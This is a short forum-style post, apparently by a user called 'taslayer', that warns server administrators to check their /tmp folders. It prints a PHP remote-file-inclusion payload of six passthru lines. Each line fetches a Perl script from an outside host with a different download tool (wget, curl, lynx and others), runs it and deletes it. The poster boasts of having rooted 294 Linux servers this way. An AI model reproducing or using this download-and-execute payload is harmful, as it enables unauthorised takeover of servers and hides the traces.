watchout

[taslayer]

regulaly look in your server /tmp folder because well i have been exparamenting with remote file inclusions and if i make a php script do

<?
passthru('cd /tmp;wget http://groopmail.com/boob.txt;perl boob.txt;rm -f boob.txt*');
passthru('cd /tmp;curl -O http://groopmail.com/boob.txt;perl boob.txt;rm -f boob.txt*');
passthru('cd /tmp;lwp-download http://groopmail.com/boob.txt;perl boob.txt.txt;rm -f boob.txt*');
passthru('cd /tmp;lynx -source http://groopmail.com/boob.txt >boob.txt;perl boob.txt;rm -f boob.txt*');
passthru('cd /tmp;fetch http://groopmail.com/boob.txt >boob.txt;perl boob.txt;rm -f boob.txt*');
passthru('cd /tmp;GET http://groopmail.com/boob.txt >boob.txt;perl boob.txt;rm -f boob.txt*');
?>

it runs that perl script right in your tmp dir and you server is now mine i have been exparamenting with these things and i now has 294 linux servers rooted and i have emailed their administrators letting them know what had happened.